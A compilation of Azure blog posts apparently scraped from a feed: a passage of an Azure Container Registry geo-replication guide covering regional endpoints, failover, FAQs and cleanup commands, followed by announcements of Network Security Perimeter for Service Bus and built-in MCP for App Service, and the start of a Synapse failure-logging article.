# West Europe-based AKS cluster pulls from the West Europe replica
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp-westeurope
spec:
  template:
    spec:
      containers:
        - name: myapp
          image: myregistry.westeurope.geo.azurecr.io/myapp:v1

This eliminates cross-region pulls when global routing would otherwise prefer a different replica for a given client, and it gives you a per-region traffic profile you can plan capacity against.

Regional endpoint operational tips

View all endpoints. Use az acr show-endpoints to see all endpoint URLs for your registry — global, regional (if enabled), and dedicated data endpoints (if enabled):

az acr show-endpoints --name myregistry --resource-group myrg

Import from a specific geo-replica. When importing images between registries, you can use a regional endpoint to import from a specific geo-replica of the source registry. This is useful when you want predictable network paths or need to import from a replica in a specific region:

az acr import \
  --name mydownstreamregistry \
  --source myupstreamregistry.westeurope.geo.azurecr.io/myapp:v1 \
  --image myapp:v1

Firewall rules for regional endpoints. If you use firewall rules, allow access to the following endpoints for each geo-replica that clients connect to:

Endpoint	Purpose
`myregistry.<region>.geo.azurecr.io`	Regional endpoint for registry operations
`myregistry.azurecr.io`	Global endpoint (if also used)
`myregistry.<region>.data.azurecr.io`	Layer downloads (if using private endpoints or dedicated data endpoints)
`*.blob.core.windows.net`	Layer downloads (if not using private endpoints or dedicated data endpoints)

For the full list of endpoint types and FQDN patterns, see the ACR reference for various registry endpoints.

DNS-based routing without changing manifests. If you don't want to maintain different deployment manifests per region, you can keep all manifests pointing to the global endpoint (myregistry.azurecr.io) and use software-defined networking or a regional traffic manager to resolve the global endpoint to the appropriate regional endpoint based on the originating region's traffic. This achieves the same co-location goals as regional endpoints — predictable routing and reduced latency — without embedding region-specific URLs in your deployment manifests.

Step 2b: Keep using the global endpoint for everything else

For workloads that don't need explicit pinning, do nothing. The global endpoint at myregistry.azurecr.io continues to work exactly as before, and the global endpoint plus health-aware failover gives you intelligent routing across replicas without configuration. ACR picks the best replica for each client based on network performance and reroutes during regional incidents.

Regional endpoints coexist with the global endpoint — enabling them does not disable myregistry.azurecr.io. You can use both simultaneously and choose per workload, mixing pinned workloads (Step 2a) with workloads that ride the global endpoint (Step 2b) in the same registry.

Step 3: Take a replica out of global endpoint routing

Use this when you need to keep a replica alive but stop it from serving global-endpoint traffic — for DR rehearsals, planned maintenance, or troubleshooting an isolated replica.

# Exclude the West US replica from global endpoint routing
az acr replication update --registry myregistry --name westus \
  --global-endpoint-routing false

Confirm the change:

az acr replication list --registry myregistry --output table

NAME    LOCATION    PROVISIONING STATE    STATUS    REGION ENDPOINT ENABLED
------  ----------  --------------------  --------  -----------------------
eastus  eastus      Succeeded             online    True
westus  westus      Succeeded             online    False

Requests to myregistry.azurecr.io no longer route to West US. The replica still receives replicated content — and continues to replicate its own content out to other replicas — and storage quota and per-replica costs continue to accrue. If regional endpoints are enabled, the West US regional endpoint URL also continues to work; --global-endpoint-routing controls only the replica's participation in global endpoint routing.

A note on naming. The CLI flag --global-endpoint-routing (on az acr replication update) and the regional endpoints feature (enabled via az acr update --regional-endpoints enabled) are two different things despite the similar names. --global-endpoint-routing controls whether a replica participates in global endpoint routing. The regional endpoints feature creates per-region URLs (myregistry.<region>.geo.azurecr.io) that bypass the global endpoint entirely. They are independent controls.

In Azure CLI 2.86.0 and later, the old --region-endpoint-enabled flag has been renamed to --global-endpoint-routing. The old flag name is deprecated and will be removed in Azure CLI 2.87.0 (June 2026). If you have existing scripts or automation that use --region-endpoint-enabled, update them to use --global-endpoint-routing.

CLI flags quick reference:

Flag	Scope	Purpose
`--regional-endpoints`	Registry-level (`az acr create` or `az acr update`)	Enables dedicated regional endpoint URLs (`myregistry.<region>.geo.azurecr.io`) for all geo-replicas.
`--global-endpoint-routing`	Per-geo-replica (`az acr replication create` or `az acr replication update`)	Controls whether the global endpoint routes traffic to a specific geo-replica. Set to `false` to temporarily exclude a geo-replica from global routing.
`--data-endpoint-enabled`	Registry-level (`az acr create` or `az acr update`)	Enables dedicated data endpoints (`myregistry.<region>.data.azurecr.io`) for layer blob downloads. Auto-enabled when at least one private endpoint is configured.

This bidirectional sync during disable is intentional. When you re-enable the replica, every image pushed to the registry while the replica was disabled — from any region — is already present, so the replica can serve traffic immediately with no catch-up window. If we stopped syncing on disable, re-enabling would leave the replica with stale data and force a long catch-up before it could safely serve pulls.

Step 4: Re-enable the replica to participate in global endpoint routing

Re-enable the replica:

az acr replication update --registry myregistry --name westus \
  --global-endpoint-routing true

NAME    LOCATION    PROVISIONING STATE    STATUS    REGION ENDPOINT ENABLED
------  ----------  --------------------  --------  -----------------------
eastus  eastus      Succeeded             online    True
westus  westus      Succeeded             online    True

There is no cooldown. The global endpoint resumes routing requests to the West US replica as soon as the change takes effect on ACR's side. Because data continued syncing while the replica was disabled (Step 3), the replica is immediately ready to serve pulls — no catch-up window.

Note on DNS during disable/enable. When you take a replica out of global routing, ACR purges its own DNS records for that replica from the global endpoint on a fast path — there is no waiting on a published TTL on ACR's side. If clients run their own DNS cache for the global endpoint, however, those clients will keep resolving to the disabled replica until the client cache expires. We can't control client-side caches. The recommendation: do not run a long-lived DNS cache for the global endpoint. A short-lived DNS pin for the duration of a single push (covered in the DNS and Client-Side Considerations section) is fine and even helpful — but a long-lived DNS cache will make --global-endpoint-routing false look broken from the client's perspective.

Step 5: What to expect when health-aware failover triggers

Health-aware failover is automatic. ACR evaluates registry health on a per-registry basis, and when a registry in a region can't reliably serve requests, the global endpoint reroutes that registry's traffic to a healthy replica. There is no customer-invocable trigger — that's the point.

End-to-end timing is on the order of minutes — fast enough to catch real regional degradation, slow enough to ride out transient errors that resolve on their own. DNS TTL may add additional propagation delay before all clients switch to the new region.

Scope of health-aware failover. Health-aware failover applies only to operations against the global endpoint — the registry API calls (auth, get manifest, get tag, get referrers, get blob location). It evaluates health when those API calls come in; it does not trigger mid-operation. Two important consequences:

Regional endpoints are not in scope. When you talk to a regional endpoint like myregistry.westus.geo.azurecr.io, you're talking to that one replica. There is no automatic reroute. If you've pinned a workload to a regional endpoint and that region degrades, you implement client-side failover by switching the workload to a different regional endpoint.
Dedicated data endpoints are not in scope. Once a registry endpoint has redirected you to a dedicated data endpoint, you stay on that region's data endpoint for the duration of the layer download. There is no automatic reroute of an in-flight blob download. The region targeted by the redirect is decided up front by whichever registry endpoint served the blob-location call: the global endpoint chooses based on its per-registry health evaluation, and a regional endpoint always targets its own region.

The signals you can use to confirm a failover is in progress:

# Check replication status
az acr replication list --registry myregistry --output table

You can also check Resource Health for the registry in the Azure portal — navigate to your registry and select Resource health under the Help section to see platform-side degradation signals.

You'll typically see:

Increased pull latency as traffic shifts to a more distant replica
Resource Health flagging known issues in the affected region
Replication status indicating which replicas are online

After the region recovers, the per-registry health evaluation marks it healthy again and the global endpoint resumes routing — automatic, no cooldown, no customer action. Note that health is evaluated per registry, not per region: if a degradation affects only a subset of registries in a region, only those registries are rerouted, and other registries in the same region continue to be served locally with no unnecessary latency penalty.

Not triggered by throttling. Health-aware failover is DNS-based and responds to regional ACR service health and Azure infrastructure health. It does not reroute traffic based on HTTP 429 (throttling) responses. If a geo-replica is throttling your requests but the region's infrastructure is healthy, the global endpoint continues routing you to that geo-replica. To manage throttling, use regional endpoints to spread workloads across multiple geo-replicas for better capacity distribution.

Note on long-running pushes during a failover. A multi-layer push that spans a failover boundary can land layers and the manifest on different replicas — exactly the failure mode that DNS bouncing produces during a single push. ACR is actively tightening health-aware failover behavior to minimize cross-replica scatter during these scenarios, and the recommendation today remains: pin pushes to a single replica via a regional endpoint when push/pull consistency matters.

Common Questions

Q1. Performance impact during initial replica creation on a live registry

Because ACR is multi-region, multi-write, the existing replica continues serving pull and push traffic throughout the period when a new replica is being seeded. Replication is asynchronous and content propagates in the background; the time to populate a new geo-replica scales with the size of the registry — the cumulative number and total size of images already in the registry — not with any single image. The docs do not publish a quantified degradation percentage or a throttling window for this period, and they do not promise zero performance impact — the safe operating assumption for a live production registry is that existing replicas continue serving traffic normally, with the new replica catching up in the background.

Q2. Restricted/updating state during initial sync

There is no "restricted" state for the registry during normal replica creation. Writes, control-plane operations, and pushes/pulls against existing replicas continue normally. The only time configuration changes are unavailable is during a home region outage — see the relevant FAQ item later on for the full data-plane-versus-control-plane breakdown.

Q3. Cooldown periods and non-straightforward failback scenarios

There is no cooldown before failback, manual or automatic. Re-enabling a replica's participation in global endpoint routing takes effect immediately on ACR's side. Health-aware failover returns traffic to a region as soon as its per-registry health evaluation passes again.

The failback case that is not seamless: if a recently pushed image has not yet replicated to the failover region, a pull from that region may not find the image until replication catches up. This is a function of eventual consistency, not failback timing — and it's part of a broader class of issues we cover in Q4.

Q4. Common pull and push failure modes during the eventual-consistency window

DNS bouncing during a single push is one well-known problem, but it isn't the only one. The eventual-consistency window between geo-replicas surfaces in several recurring failure modes worth knowing about:

Push-then-immediate-pull-cross-region. Pushing myapp:v1 to one region and immediately pulling it from a different region can fail with manifest unknown until replication catches up. This shows up most painfully in CI/CD pipelines where one CI runner pushes an image and thousands of pods across other regions all try to pull from their local geo-replicas at the same time. Today, customers work around this with indeterminate sleeps before scheduling expensive compute, or with retry logic, or by waiting on a replication-complete signal — none of which is a clean planning story.
Tag overwrite races. Pushing myapp:v1, then re-pushing myapp:v1 shortly after with a fix (same tag, different digest), can leave different replicas resolving the same tag to different digests during the eventual-consistency window.
Delete propagation. Deleting a tag or repository in one region takes some time to propagate to other replicas. Pulls from regions where the delete hasn't yet propagated can return the supposedly-deleted content.
Mid-push failover scatter. A multi-layer push that spans a health-aware failover boundary or a DNS bouncing event can land layers on one replica and the manifest on another, surfacing as manifest validation errors or blob unknown on subsequent pulls.

What ACR is doing about this. We're working on bounded staleness consistency for pushed images across all geo-replicas worldwide, which addresses these four failure modes directly. This will be covered in an upcoming blog post. If you're hitting eventual-consistency brittleness today and want to talk through your scenario, reach out to us on the Azure Container Registry GitHub repository — we want the customer signal to land in the design.

Mitigations available today:

Pin pushes to a single replica via a regional endpoint. Every sub-request in the push — login, blob uploads, manifest upload — goes to the same replica, eliminating the DNS bouncing and mid-push scatter classes entirely.
Use a short-lived client-side DNS cache like dnsmasq scoped to the duration of a single push, only when you're not using regional endpoints. Do not run a long-lived DNS cache for the global endpoint — it interferes with --global-endpoint-routing false and with health-aware failover routing.
Build retry logic into pulls that immediately follow a cross-region push. Either retry with backoff or check replication status with ACR webhooks before pulling. ACR can detect and notify you when an image or tag is available for pull in a geo-replica (say geo-replica B), after it has been pushed to another geo-replica (geo-replica A) and background replication has succeeded to geo-replica B.
Design publish steps to be idempotent so retries triggered by mid-push failover are safe.

Q5. Auth behavior across endpoint switches

For safety, treat each global endpoint and each regional endpoint as its own authenticated surface. All registry APIs except the actual blob downloads (auth, manifests, tag resolution, referrers) flow through whichever endpoint you've chosen. If you switch from the global endpoint to a regional endpoint, or from one regional endpoint to another, re-authenticate. That means az acr login, fresh SDK auth, or — for AKS — letting the Kubernetes ACR credential provider handle re-auth, which it does automatically when the endpoint changes.

Q6. Throttling under failover and pinning

Throttling limits on registry API operations are per-replica, not per-registry. This has two operational implications:

During health-aware failover, traffic that was spread across replicas can shift heavily onto whichever replicas remain in the global endpoint's routing pool. Capacity plan to spread traffic across two or three healthy replicas during a failover scenario rather than concentrating onto one — the global endpoint's routing already does this for you when multiple healthy replicas exist, but registries with only two regions configured can hit per-replica limits more easily during a failover. To mitigate, use regional endpoints to spread workloads across multiple geo-replicas and plan per-replica capacity.
When pinning via regional endpoints (Step 2a), you concentrate traffic on whichever replica you've pinned to. If you've pinned all your AKS clusters to a single regional endpoint, you may hit that replica's per-region throttling limits at peak. Mitigations: pin different workloads to different regional endpoints across multiple regions for better topology mapping and capacity distribution, or use the global endpoint (Step 2b) for workloads where you don't need explicit pinning so ACR's routing can spread load. We're also working on improving the throttling metrics surfaced during health-aware failover events.

Note: Health-aware failover does not reroute traffic based on HTTP 429 (throttling). If you're experiencing throttling but the region's infrastructure is healthy, the global endpoint continues routing you there. Use regional endpoints to explicitly spread load across replicas for capacity planning.

Q7. Home region outage scope

Geo-replication provides high availability for the data plane. During a home region outage, the control plane is unavailable, which means you can't create or delete replicas, modify network rules, or change replication settings until the home region recovers. ACR Tasks are also bound to the home region and don't run while it's unavailable. The data plane keeps working:

Global endpoint continues routing pulls and pushes to healthy replicas.
Regional endpoints continue working — you talk directly to specific replicas, and your client-side logic decides which region to use.
Authentication, manifests, blob downloads, webhooks continue functioning through any healthy replica.

The home region of a registry is fixed at creation and cannot be changed afterward. Microsoft's registry relocation guidance describes a redeployment procedure — creating a new registry in a different region — not an in-place change to an existing registry's home region.

Note: If your registry uses a customer-managed key, review the key vault failover and redundancy guidance for maximum resilience. Key vault availability directly affects the registry's ability to encrypt and decrypt data.

Q8. Webhooks during failover

Webhooks fire from the replica that received the push. Because ACR also replicates content to other geo-replicas, webhooks fire from each geo-replica as the image syncs to it — so a single push results in webhook events from the receiving replica plus an event from each replica as replication completes. During a failover where pushes are routed to a different region, webhooks from those pushes fire from the new region; once the original region recovers and replication catches up, webhook events fire from there too. Webhook consumers should be designed to handle multiple events per pushed image and deduplicate as needed.

Q9. Private endpoints with regional endpoints and dedicated data endpoints

When a private endpoint is created against a registry, the private endpoint covers all of the registry's endpoint surfaces — the global endpoint, every regional endpoint (if regional endpoints are enabled), and every regional dedicated data endpoint. A single private endpoint in one VNet can reach the global endpoint (which routes you to a suitable replica), any regional endpoint in the same or a different region, and any region's dedicated data endpoint for blob downloads.

The trade-off is private IP allocation: each endpoint surface consumes IPs in the VNet. With many replicas plus regional endpoints plus dedicated data endpoints all enabled, private endpoint creation can fail if the VNet runs out of available private IPs.

IP address consumption per feature:

Configuration	IPs consumed per VNet
Initial private endpoint (global endpoint + home region dedicated data endpoint)	2
Each geo-replication region added	+1 (regional dedicated data endpoint)
Regional endpoints enabled	+1 per geo-replica

Example: A registry with 3 geo-replicas and regional endpoints enabled consumes 7 private IPs per VNet: 1 (global) + 3 (data) + 3 (regional). Without regional endpoints, the same registry requires 4 private IPs: 1 (global) + 3 (data).

Subnet sizing: Use at minimum a /27 (32 addresses) subnet for PE subnets on geo-replicated registries, and /24 where possible. To check how many private IPs are already consumed on a subnet:

az network vnet subnet show \
  --name <subnet-name> \
  --vnet-name <vnet-name> \
  --resource-group <resource-group> \
  --query "{addressPrefix:addressPrefix, usedIPs:length(ipConfigurations || \`[]\`)}" \
  --output table

See the ACR private endpoints documentation for the full IP-allocation math and sizing guidance.

Q10. Geo-replica creation stuck for private endpoint-enabled registries

When creating a geo-replica for a registry that has private endpoints configured, the replica provisioning can get stuck in a Creating state if the identity performing the operation doesn't have sufficient permissions to create private endpoint networking resources.

Solution:

Manually delete the geo-replica that got stuck in the provisioning state.
Ensure the identity has the permission Microsoft.Network/privateEndpoints/privateLinkServiceProxies/write before creating the geo-replica again.
Also verify that every PE subnet connected to the registry has free IP capacity — if any PE subnet across any connected VNet does not have enough free IPs, the replication provisioning fails and rolls back. The replica appears briefly in a Creating state and then is removed. The resulting error does not identify which subnet or VNet is exhausted.

Q11. Metrics, logs, and alerts for the three phases

We map each phase to the signals available in the Monitoring Guidance section below. The headline: Resource Health (in the Azure portal) and az acr replication list give you the platform-side signals; Azure Monitor platform metrics are collected automatically, and resource logs require Diagnostic Settings to be enabled on the customer side.

Behavior summary

Scenario	Automatic?	Customer Action Required	Notes
Registry in a region degrades	Yes	None	Health-aware failover; per-registry; minutes-scale; global endpoint operations only
Region recovers after a degradation event	Yes	None	No cooldown
Pin AKS clusters to co-located replicas	No	Use regional endpoint URLs in deployment manifests (Step 2a)	Coexists with global endpoint
No pinning needed for most workloads	Yes	None — keep using `myregistry.azurecr.io` (Step 2b)	Global endpoint plus health-aware failover
Push/pull from the same replica (consistency)	No	Use a regional endpoint for both push and pull	Eliminates DNS bouncing and mid-push scatter
Capacity planning per region	No	Spread workloads across multiple regional endpoints	Per-replica throttling; avoid concentrating on one replica
DR rehearsal: take a replica out of global routing	No	`az acr replication update --global-endpoint-routing false`	Data continues syncing both directions; costs continue accruing
Re-enable replica participation in global routing	No	`az acr replication update --global-endpoint-routing true`	No cooldown; replica is immediately ready
Switch a workload between endpoints	No	Re-auth (`az acr login`, SDK auth, or Kubernetes ACR credential provider)	Each endpoint is its own authenticated surface
Initial replica seeding on a live registry	N/A	None	Existing replica continues serving traffic; seeding time scales with registry size
Long-running push during a failover	No	Retry; design publishes to be idempotent	Pin via regional endpoint to avoid mid-push scatter; ACR is tightening this behavior
Pull of a recently pushed image from a different region	No	Wait for replication, retry with backoff, or check replication status	Eventual consistency; bounded staleness consistency in development
Home region outage	Data plane: yes; control plane: no	Use global or regional endpoints for data plane operations	Control plane (replica config, network rules) requires home region

DNS and Client-Side Considerations

DNS bouncing during a single push is the most common geo-replication push problem in customer threads, and it warrants a section of its own.

The failure mode. A docker push is a sequence of HTTP requests: blob uploads for each layer, then a manifest upload that references those layers by digest. If the Linux DNS resolver on the client doesn't cache myregistry.azurecr.io consistently for the duration of the push, individual sub-requests can resolve to different replicas. Because replication is eventually consistent, the manifest can land on a replica that doesn't yet have the layers it references, and the manifest validation fails.

The two mitigations:

Regional endpoints pin the push to a single replica end-to-end. Every sub-request — login, blob uploads, manifest upload — goes to the same replica. This is the cleanest fix and the one we recommend for any pipeline where push/pull consistency matters.
A short-lived client-side DNS cache like dnsmasq scoped to the duration of a single push. For Linux VMs in Azure, follow the DNS name resolution options guidance. The pin should last the push and no longer. For other clients performing pushes, you can customize your stack's DNS resolver to have a similar short-lived DNS cache to pin the global endpoint's resolved DNS for only the duration of an image push operation.

A note on long-lived DNS caching for the global endpoint. Don't run a long-lived DNS cache for myregistry.azurecr.io. ACR purges its own DNS records on the server side when a replica is taken out of global routing (Step 3) and during health-aware failover; a long-lived client-side cache will keep clients pointed at the old region after our purge, which makes both the manual disable mechanism and health-aware failover look broken from the client's perspective.

Retry behavior:

In-flight pushes during a failover may fail. Design publish steps to be idempotent so retries are safe.
Pipelines that push in one region and immediately pull from a different region should retry with backoff or check replication status — eventual consistency means the pull may race ahead of replication.
ACR is working on bounded staleness consistency that addresses this directly by enabling proxying (on ACR infrastructure) an image pull request from one geo-replica (if it does not have the image) to another geo-replica that has the image; see the relevant FAQ item.

Note: Specific retry counts, back-off intervals, and push timeout values are application-layer decisions. The platform behavior is documented; the retry policy belongs to your client.

Monitoring Guidance

We map the three phases to the signals available from each source. Where a signal requires customer-side configuration, we flag it.

Phase A: Initial replication (after creating a new replica)

az acr replication list and az acr replication show — confirm the new replica reaches provisioningState: Succeeded and status: online, and view per-replica status.
Azure Monitor platform metrics — push count, pull count, and other registry metrics are collected automatically and visible in the Azure portal under Metrics. No customer configuration is needed to view platform metrics. To export metrics or enable resource logs (detailed operation logs), configure Diagnostic Settings on the registry.

Phase B: Failover (planned via replica disable, or automatic via health-aware failover)

Per-replica regionEndpointEnabled state via az acr replication list — confirms whether a manual disable took effect, i.e. which replicas are currently eligible for global endpoint routing. Note: this flag reflects the manual configuration for configuring a geo-replica's global endpoint routing eligibility; it does not indicate whether health-aware failover has actively rerouted traffic away from a replica.
Resource Health for the registry (in the Azure portal under Help > Resource health) — surfaces platform-side degradation signals during incidents. ACR does not yet expose a definitive "this region is currently serving your traffic" signal; Resource Health and client-side latency changes are the best available indicators.
Pull latency from clients — increased latency from a more distant replica is the client-observable signal that traffic has rerouted.
Azure Monitor platform metrics — visible per-region in the Azure portal Metrics blade. To export metrics or query them programmatically, enable Diagnostic Settings.

Phase C: Failback (replica returns to global routing)

az acr replication list — confirms regionEndpointEnabled: True (manual) or online status across all replicas (automatic).
Pull latency normalizing as clients reach the recovered replica again.
Resource Health clearing for the registry (visible in the Azure portal).

Note: The health-aware failover blog calls out ongoing work to surface richer signals — including notifications for when routing changes and which region is currently serving your traffic. The signals listed above are what's available today.

Pricing Considerations

Storage billing vs. storage quota: Storage is billed per geo-replica — a 1 GiB image replicated to 5 geo-replicas is charged as 5 GiB of storage (1 GiB × 5 geo-replicas). However, storage quota (the tier's maximum storage limit) counts the image only once — the same 1 GiB image counts as 1 GiB toward your tier's maximum, not 5 GiB.
Data transfer: Geo-replication can reduce costs by enabling in-region image pushes and pulls, which avoids cross-region data transfer charges during these push or pull operations. However, cross-region data transfer charges still apply when ACR replicates pushed content to other geo-replicas as part of eventual consistency.
Disabled replicas still cost: When you take a replica out of global routing with --global-endpoint-routing false, storage and per-replica costs continue accruing because data continues syncing bidirectionally.

For more information, see ACR pricing.

Cleanup

Run these commands to undo the walkthrough setup. Order matters: disable regional endpoints before deleting replicas, since regional endpoint URLs depend on which replicas exist.

# Disable regional endpoints if you enabled them in Step 2a
az acr update -n myregistry -g myrg --regional-endpoints disabled

# Re-enable any replicas you disabled in Step 3 (no-op if already enabled)
az acr replication update --registry myregistry --name westus \
  --global-endpoint-routing true

# Delete the West US replica created in Step 1
az acr replication delete --registry myregistry --name westus

# Confirm only the home region replica remains
az acr replication list --registry myregistry --output table

Note: Replica deletion is a control-plane operation that requires the home region to be available. During a home region outage, replica configuration cannot be modified.

Summary Table

Question	Answer
When should I use regional endpoints vs the global endpoint?	Use regional endpoints (Step 2a) for workloads that need affinity, predictable routing, push/pull consistency, troubleshooting, or client-side failover. Use the global endpoint (Step 2b) for everything else and let health-aware failover handle routing.
What should I enable for secure, resilient layer downloads?	Enable dedicated data endpoints. They scope firewall rules tightly to your registry and replace wildcard storage DNS with predictable per-region FQDNs.
How do I avoid DNS-bouncing manifest validation failures on push?	Pin pushes to a single replica via a regional endpoint. A short-lived client-side `dnsmasq` for the push duration is also fine if you're not using regional endpoints.
Should I run a long-lived DNS cache for the global endpoint?	No. ACR purges DNS server-side on disable and during failover; client-side caching works against that.
Do I need to re-auth when switching endpoints?	Yes. Each global or regional endpoint is its own authenticated surface. `az acr login`, SDK auth, or the Kubernetes ACR credential provider handles the re-auth.
What happens during a home region outage?	Data plane keeps working through any replica via the global endpoint or regional endpoints. Control plane operations (replica configuration, network rules) are unavailable until the home region recovers. The home region is fixed at registry creation.
What's ACR doing about eventual-consistency pain?	Bounded staleness consistency for cross-replica pushed images is in development and will be covered in an upcoming blog post. Reach out via GitHub if you want to share your scenario.

For the full automation matrix — what's automatic, what requires customer action, and what to expect for each scenario — see the behavior summary above.

If you have further questions about ACR geo-replication routing, pinning, capacity planning, eventual consistency, or failover behavior, reach out to us on the Azure Container Registry GitHub repository or file feedback through the Azure portal.

GA of NSP for Azure Service Bus & NSP now available in Azure Gov. Regions

shashankamalladi — Mon, 08 Jun 2026 14:01:28 GMT

TL; DR

Network Security Perimeter (NSP) support for Azure Service Bus is now Generally Available. With this, you can now place your Service Bus namespace inside a central security boundary and apply perimeter-based governance for inbound/outbound network access—while keeping key PaaS-to-PaaS scenarios secure and auditable.

Introduction

We’re excited to announce that Network Security Perimeter (NSP) support for Azure Service Bus is now Generally Available (GA).

This milestone brings one of Azure’s most widely used messaging services into the NSP ecosystem, enabling customers to define a centralized security boundary across messaging and data services.

Alongside this, we are also expanding NSP’s reach — NSP is now available in Azure Government regions, including:

Texas
Arizona
Virginia
DoD East
DoD Central

This ensures that customers operating in regulated, sovereign, and mission-critical environments can adopt NSP while meeting their compliance and regional requirements.

Why this matters?

Modern applications rely heavily on messaging layers like Service Bus. These systems often connect microservices, data platforms, key management systems and external integrations. As architectures scale, managing network access individually becomes complex and error prone.

NSP changes this by introducing a perimeter-based access model, where:

Communication is restricted by default
Access must be explicitly allowed
Governance is applied consistently across services

With Service Bus now onboarded and NSP extending into Azure Gov regions, customers can apply this model across both commercial and sovereign environments.

What you can do with Service Bus + NSP

Confine communication within a security boundary

Service Bus namespaces communicate only with resources inside the perimeter by default—blocking unintended access.

Secure PaaS-to-PaaS communication

Enable secure interactions between Service Bus, Azure Key Vault (for CMK scenarios) and other NSP-enabled services (What is a network security perimeter? - Azure Private Link | Microsoft Learn)

Define explicit access controls

Inbound rules → IP ranges and subscriptions
Outbound rules → FQDN-based filtering

Enable audit and compliance visibility

Diagnostic logs capture all access attempts, supporting compliance and investigation workflows.

Use Private Link seamlessly

Private endpoint traffic continues to work without additional configuration inside the perimeter.

Azure Government Availability

With this update, NSP is now available in key Azure Government regions (Texas Arizona Virginia DoD East DoD Central), enabling:

Consistent security across clouds

Apply the same NSP model across public Azure regions and Azure Government environments.

Support for regulated workloads

Customers in federal, defence, and highly regulated industries can now:

Enforce perimeter-based governance
Reduce exposure risks
Meet compliance requirements

Enable secure cross-service patterns in Gov clouds

Azure Government boundaries now support scenarios like:

CMK with Key Vault
Service-to-service messaging
Controlled external access

More details of onboarded PaaS services are detailed in What is a network security perimeter? - Azure Private Link | Microsoft Learn

What’s next

Service Bus GA further strengthens NSP’s growing coverage across Azure PaaS services. We will continue to:

Expand PaaS service onboarding
Improve access rule capabilities (e.g. Service tag-based access, identity-based access)

Now in preview: built-in MCP for Azure App Service

jordanselig — Mon, 08 Jun 2026 13:09:52 GMT

At Build 2026 last week, we announced the public preview of built-in MCP for Azure App Service. It does one thing, and it does it with almost no effort on your part: it turns a REST API you already host on App Service into a Model Context Protocol (MCP) server, so AI agents and assistants can call your API as a set of tools. No MCP code to write. No second service to deploy.

What it does

You give App Service an OpenAPI 3.x specification (JSON or YAML) describing the operations you want to expose. The platform reads that spec and generates one MCP tool per operation, then serves the MCP endpoint over streamable HTTP at a path you choose (the default is /mcp). From there, App Service handles the parts that are tedious to build yourself:

MCP protocol negotiation
Tool discovery, so clients can list the operations your spec exposes
Hot reload of the spec when it changes
Client cancellation

Any MCP-compatible client can connect, including GitHub Copilot Chat, Cursor, Windsurf, and Claude Desktop.

Why it matters

Most teams already have the API the agent ecosystem wants to call. What they don't have is the time to wrap it in a bespoke MCP server, keep that server in sync with the API, and operate it. Built-in MCP removes that work entirely. If your REST API runs on App Service and you can produce an OpenAPI spec for it — and most web frameworks generate one for you — you're a configuration change away from an agent-ready endpoint.

Built-in or custom?

Built-in MCP is the fastest path when your tools map cleanly to REST operations. If you need behavior that doesn't — multi-step workflows, in-memory aggregation, MCP resources or prompts, or more than one MCP server on a single app — a custom MCP server built with an MCP SDK and deployed as your application code is still the right choice. The two approaches complement each other, and you can read more about choosing between them in the docs.

Security

Built-in MCP works with App Service Authentication, so MCP requests go through the same identity checks as every other route on your app, using Microsoft Entra or any OpenID Connect provider you've configured. When App Service Authentication is enabled, the platform also publishes OAuth protected-resource metadata so MCP clients can complete the OAuth flow automatically. As always, your application code is responsible for validating the bearer token on each request — and you should avoid exposing an MCP server publicly without authentication, since every published tool becomes callable once a client connects.

Getting started

Built-in MCP is configured through the aiIntegration property on your App Service app, and the preview supports three configuration paths: the Azure portal, the Azure CLI (az rest), and Bicep. It runs on dedicated pricing tiers, Basic or higher — it isn't supported on Free, Shared, Consumption, or Flex Consumption plans.

This is a preview, and we'd love your feedback as you try it. To enable built-in MCP on your own app and connect an MCP client, head to the docs:

Designing Reliable Data Platforms: Centralized Failure Logging Framework with Azure Monitor

Sally_Dabbah — Mon, 08 Jun 2026 10:31:33 GMT

Introduction

Modern data platforms are no longer just about moving and transforming data. In production, what really matters is reliability and how quickly you can understand and react when something breaks.

If you’re using Azure Synapse/ADF/Microsoft Fabric, you already have built-in monitoring. You can see pipeline runs, error messages.

But it doesnt show you activity level errors, Pipeline errors works well when you’re debugging a single failure.

But it doesn’t scale.

Once you have dozens of pipelines running across multiple environments, failures become harder to track. You find yourself jumping between pipeline runs, scanning activity outputs, and trying to piece together what actually happened.

And suddenly, simple questions become difficult to answer:

Which datasets are failing most often?
Are failures concentrated in Bronze, Silver, or Gold?
Is this a one-off issue or a recurring pattern?
What changed between yesterday and today?

At that point, pipeline-level monitoring is no longer enough. You need something more structured.

P.S the framework can be implemented across both Synapse and Microsoft Fabric environments with minimal changes.

Why we need a custom logging framework

The core issue is that pipeline failures are treated as runtime events, not as data.

They live inside pipeline output and are tied to a specific run. This makes them hard to query across time, aggregate across pipelines, correlate across environments, or understand which activities failed inside the pipeline or integrate into alerting and dashboards in a consistent way.

Pipeline Failures are visible but activity failures are not , and they’re not operationalized, what’s missing is a central place where all failures are captured in a consistent, structured format, regardless of which pipeline or dataset produced them including Activity level logs.

That’s where a custom logging framework comes in, instead of relying only on built-in monitoring, we introduce a layer that captures failures as structured events, standardizes the payload across pipelines, and sends it to Log Analytics where it can be queried using KQL.

This shifts the model from checking a pipeline when it fails to treating failures as a dataset that can be analyzed, monitored, and improved over time.

Once you make that shift, you can build alerts based on patterns instead of reacting to single failures, track reliability across datasets or domains, and identify recurring issues instead of dealing with incidents one by one.

It also changes who can use the data, visibility is no longer limited to engineers digging into pipeline runs it becomes accessible at the platform level for leads and stakeholders.

This framework doesn’t replace Synapse monitoring. It complements it by adding a proper observability layer on top.

Architecture

When a pipeline fails in Synapse, the failure is intercepted through a dedicated failure path. At this stage, we don’t just log the error as-is we pass it through a custom logging framework that transforms the failure into a structured payload.

This payload includes key context such as pipeline name, activity, environment, dataset, layer (Bronze/Silver/Gold), error details, and correlation identifiers.

The important part here is consistency every pipeline emits the same schema, regardless of its logic.

Once the payload is constructed, it is sent to Azure Monitor using the Logs Ingestion API, this API acts as the entry point into the monitoring system and decouples the pipelines from the underlying storage implementation.

A Data Collection Rule (DCR) sits behind the ingestion layer and defines how incoming data is handled. It acts as a contract for the payload schema and optionally applies transformations before the data is persisted.

Finally, the logs are stored in a custom Log Analytics table, where they become fully query-able using KQL, at this point, failures are no longer tied to a single pipeline run they are part of a centralized dataset that can be analyzed across time, environments, and domains.

Setting up Log Analytics

Before integrating the logging framework with Synapse, we first need to set up the destination for our logs, this includes creating a Log Analytics workspace, defining a custom table, and configuring the ingestion path using a Data Collection Rule (DCR).

The goal is to create a pipeline where structured failure events can be received, validated, and stored in a consistent format.

P.S all steps mentioned in this blog can be automated with ARM templates.

1. Create a Log Analytics workspace

